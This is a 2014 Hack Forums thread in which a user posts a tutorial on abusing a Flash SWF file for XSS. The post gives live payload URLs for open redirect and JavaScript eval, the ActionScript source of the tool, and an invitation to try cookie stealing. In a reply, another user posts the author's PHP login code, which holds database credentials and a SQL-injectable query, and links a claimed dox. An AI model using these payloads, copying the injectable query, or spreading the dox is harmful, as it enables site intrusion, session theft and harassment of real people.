

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Basic XSS enumeration with Flash](#) [\[Polymath\]](#)

Th3PonyWizard - April 5, 2014, 2:54 am

[img]<http://i.minus.com/ivm3a7DWxk3V.gif>[/img]

Basic XSS Enumeration with Flash

Greetings, everyone.

This is what I'm talking about:

[https://producer.googleusercontent.com/producer/attachment/CAAqBwgKMKGgygQw7_1E-xss.swf?a=eval&c=alert\(1\)](https://producer.googleusercontent.com/producer/attachment/CAAqBwgKMKGgygQw7_1E-xss.swf?a=eval&c=alert(1))

Don't bother reporting this as it's not eligible. However, I bet it caught your attention.

This tutorial is presented in collaboration with [Zyptom](#). In this rather brief write-up, we shall present the concept behind utilizing flash into attacking with common client-sided attack techniques such as XSS. We shall also present how to perform common attack patterns such as general java-script execution, redirection, and even cookie stealing.

Alright, let's begin.

The PoC of this unique approach has already been released [here](#). If you're previously familiar with how I write tutorials, you already know that I take the live approach and offer for any of you who wish to upload your own script here: <http://th3ponywizard.me/fileuploadin/>

For your convenience, we've already setup a proper copy of our exploit to perform for our tutorial. The URL address is as follows:

<http://th3ponywizard.me/fileuploadin/xss.swf>

Upon visiting, you'll be greeted with a prompt that gives a brief explanation over how stuff works:

Redirects URL inputs into the website.

Similar to 1, prompts it as a new tab.

I can't recreate this one, but it seems to be able to send more rough http packets with an ability to provide both method and URL address. Due to the Same Origin Policy being applied with flash, I don't see this working with any browser.

General Javascript code execution.

Open Redirection

This is basically useful for tricking and social engineering. Making an outside site look like part of the inside original site system is basically what Open Redirection is being used the most.

<http://th3ponywizard.me/fileuploadin/xss.swf?a=location&action=relog&c=http%3A%2f%2fgoogle.com%2f>

Didn't even bother properly encoding that one, you get my point.

XSS

This is where the fun kicks in.

<http://th3ponywizard.me/fileuploadin/xss.swf?a=eval&c=alert%281%29>

The flash file serves as a normal browser page and executes your JavaScript without any trouble. How is this possible, you ask?

Diving into the file's code, you can see how it is being performed:

```
function attack(action)
{
    switch (action)
    {
        case "location" :// location URL
            navigateToURL(new URLRequest(cmd), "_self");
            break;
        case "open" :// open URL
            navigateToURL(new URLRequest(cmd), "_blank");
            break;
        case "get" :// GET
            var loader:URLLoader = new URLLoader(new URLRequest(cmd));
            loader.addEventListener(Event.COMPLETE, get_complete);
            loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR, get_sec_error);
            break;
        case "eval" :// execute JS
            flash.external.ExternalInterface.call("eval", cmd);
            break;
        default :
            var help:String = 'a(action) - c(cmd)\n';
            help += '-----\n';
            help += '1. location to url: xss.swf?a=location&c=http://www.google.com/\n';
            help += '2. open url to new window: xss.swf?a=open&c=http://www.google.com/\n';
            help += '3. http request to url: xss.swf?a=get&c=http://www.google.com/\n';
            help += '4. eval js codz: xss.swf?a=eval&c=alert(document.domain)\n';
            help += '-----\n';
            help += 'by evilcos@gmail.com';
            flash.external.ExternalInterface.call("alert", help);
            break;
    }
    stop();
}
```

At the section responsible for treating what happens if the attacker chooses to apply "eval," you can see a flash function locally executing the argument's value which is passed from the URL.

Cookie Stealing

I'm not going in-depth here as it contradicts my beliefs as I have no interest in step by step telling

you how to screw up a website.

```
However, we know there's a cookie over our /fileuploadin/, and Zymtom created a cute enough
cookie stealer over.if(!isset($_COOKIE['cake']) || empty($_COOKIE['cake'])){
    $_COOKIE['cake'] = rand();
}
```

Try to steal it over.<http://th3ponywizard.me/fileuploadin/cs/>

~EOF

That's it. Sorry if this seems a bit short, but there isn't much to represent here. Personally I was surprised when I discovered Flash can execute JavaScript code, I'm seeing this as a huge attack pattern that people can start using. Again, thanks to [Zymtom](#) for the code and help in process, <3.

HelsinkiK - April 5, 2014, 2:58 am

Nice tut keep up the good work :)

FeaturedBMX - April 5, 2014, 2:58 am

This looks great man. I will be sure to give it a read.

Im gone brah - April 5, 2014, 3:28 am

I did not actually expect a Cross-site-scripting guide from you. Nonetheless good job & well written!

133720 - April 5, 2014, 9:30 am

Nice Sharing bro.

Good Threads.

Thanks a lot.

Vexane - April 5, 2014, 9:38 am

This is a really nice tutorial; but with very much prior knowledge on cookie stealing and JavaScript exploitation, I have no idea how any of this could be harmful. It looks pretty cute and innocent to me.

Robust - April 5, 2014, 10:01 am

Great tutorial for the second piece of content Polymath has released. Thanks for this detailed guide.

Zapu - April 5, 2014, 11:03 am

Nice tutorial, to you and ZYMTOM ?

WACKO - April 5, 2014, 11:08 am

This tutorial really helped me. I had no idea Flash could execute JavaScript. Thanks a ton for this.

Keybored - April 5, 2014, 10:19 pm

Thanks for this great TUT man thanks

Th3PonyWizard - April 7, 2014, 1:34 am

Updated with the actual Polymath layout.

-zERaIT - April 7, 2014, 5:06 am

Great and well written tutorial, thanks.?

Th3PonyWizard - April 10, 2014, 10:43 am

(Apr 7, 2014 05:06 AM)MaskedMyS Wrote: [\[CITE\]](#) Great and well written tutorial, thanks.?Thanks for the comment. I'm still lookin fo' feedback.

?Mr Blade™ - April 10, 2014, 11:46 am

nice tutorial bro. i must appreciate you

abj3ctzz - April 10, 2014, 11:59 am

Are u kiddin' ?

L00k's like there's a pr0 on b0ard..

www.th3ponywizard.me

...

```
$con = mysql_connect('localhost', 'thponywi_pony', '123456');
mysql_select_db("thponywi_HF");
$password = $_POST['password'];
$query = "SELECT * FROM `hue` WHERE `password` = '$password'";
...
echo "Horray, you're logged in! Go to <a href=\"admin.php\">DIS LINK</a>";
...
}
```

And here the dox <http://pastebin.com/4M0kB6QX>

cheatson - April 10, 2014, 3:23 pm

(Apr 5, 2014 09:38 AM)Varosion Wrote: [\[CITE\]](#) This is a really nice tutorial; but with very much prior knowledge on cookie stealing and JavaScript exploitation, I have no idea how any of this could be harmful. It looks pretty cute and innocent to me.

I wrote a blog post about how to exploit in real world- involve attacking site which allow you upload swf to it, such as flash games or flash based video player etc..

<http://www.hackers2devnull.blogspot.co.uk/2013/09/how-to-hide-xss-in-flash-moviesgames.html>

Nice tut tpy <3

Th3PonyWizard - April 11, 2014, 2:26 am

(Apr 10, 2014 11:59 AM)abj3ctzz Wrote: [\[CITE\]](#) Are u kiddin' ?

L00k's like there's a pr0 on b0ard..

www.th3ponywizard.me

...

```
$con = mysql_connect('localhost', 'thponywi_pony', '123456');
mysql_select_db("thponywi_HF");
$password = $_POST['password'];
$query = "SELECT * FROM `hue` WHERE `password` = '$password'";
...
echo "Horray, you're logged in! Go to <a href=\"admin.php\">DIS LINK</a>";
...
}
```

<https://hackforums.net/showthread.php?tid=3769428>

Are you feeling retarded? Because you should. HF, HF2, and HF3 directories were created specifically for my tutorial. source.php is a file used to learn how I coded them.

the MySQL service on my box only accepts localhost connections and is itself filtered, so you're not expecting to connect to anywhere with these details. But even if you happen to hack one of the websites on the shared server, all of the web clients are isolated from each other through CageFS

with cloudflinux distribution, killing off any possibility for a Symbolic link or any other form of privilege escalation attack.

But lets say you passed through all that... You still can't do shit. the MySQL user thponywi_pony is only enabled to form SELECT and INSERT queries. I've thoroughly thought out every single possibility resulting of damage to my website.

(Apr 10, 2014 11:59 AM)abj3ctzz Wrote: [\[CITE\]](#) And here the dox <http://pastebin.com/4M0kB6QX> Oh yeah. Very real. Because "HaMerkaz" (Hebrew: Center) is my address ;)

(Apr 10, 2014 03:23 PM)cheatson Wrote: [\[CITE\]](#) I wrote a blog post about how to exploit in real world- involve attacking site which allow you upload swf to it, such as flash games or flash based video player etc..

<http://www.hackers2devnull.blogspot.co.uk/2013/09/how-to-hide-xss-in-flash-moviesgames.html>

Nice tut tpy <3Thanks cheatson, and I'm not even surprised. Your blog is amazing for everything web and specifically client sided hacking.

TheRelativeSingularity - April 11, 2014, 9:22 am

lol'd

blah blah blah char limit blah blah

VRUMM - April 11, 2014, 10:28 am

(Apr 11, 2014 09:22 AM)TheRelativeSingularity Wrote: [\[CITE\]](#) lol'd

blah blah blah char limit blah blah

lololol

what a noob. Is this a troll?

If not why would you hack someone's personal site ?

Th3PonyWizard - April 11, 2014, 1:06 pm

(Apr 11, 2014 10:28 AM)Sh1eld Wrote: [\[CITE\]](#) lololol

what a noob. Is this a troll?

If not why would you hack someone's personal site ?Man it's as real as it gets

These Indian electronics army are tough to get rid of

Noel02 - May 29, 2014, 6:59 pm

Thanks for the wonderful TUT. Great work.